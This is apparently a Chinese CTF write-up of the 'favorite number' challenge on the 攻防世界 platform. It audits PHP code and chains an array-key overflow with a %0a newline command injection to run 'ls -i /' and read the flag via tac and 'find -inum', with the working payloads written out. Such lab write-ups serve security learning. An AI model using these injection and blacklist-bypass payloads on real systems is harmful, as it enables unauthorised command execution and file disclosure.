攻防世界 favorate number 代码审计 抓包

首先是审计代码知道了

想要得到falg的条件,然后就是实现绕过

 

有几个点要注意的是

抓包的时候一定不要抓错,,这很重要,,之后就是  ls指令显示文件夹   然后寻找flag的inode节点

stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /       %0a是换行绕过检查    -i /  是固定的格式

然后会有flag的响应节点,,,一定要对应的  

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`

最后面的一串数字就是索引的inode节点  ,一点要对应

tac的功能和cat的一样只是文件展示的顺序不同。

 

 

 

进入界面

在这里插入图片描述
简单的代码审计

  • 首先是个判断,既要数组强等于,又要首元素不等
  • 然后是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测
  • 最后是个黑名单,把常用的都排除了

 

只能从溢出或者php5.5.9本身的漏洞去思考了

查了查
有数组的key溢出问题
参考:

于是得到payload

stuff[4294967296]=admin&stuff[1]=user&num=123
  • 1

在这里插入图片描述

 

 

payload如下

stuff[4294967296]=admin&stuff[1]=user&num=123%0als
  • 1

这里用hackbar失败了
就不是很明白
做题时头一疼

在这里插入图片描述
然后尝试用burp抓包
成功执行ls

在这里插入图片描述
成功绕过第二个条件

最后是命令执行
查了查

显示有如下的办法

在这里插入图片描述
我们可以用tac

inode

索引节点

先寻找flag的inode

stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
  • 1

在这里插入图片描述

读取flag

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`



 

posted @ 2020-12-18 09:22  ctfliar  阅读(231)  评论(0)    收藏  举报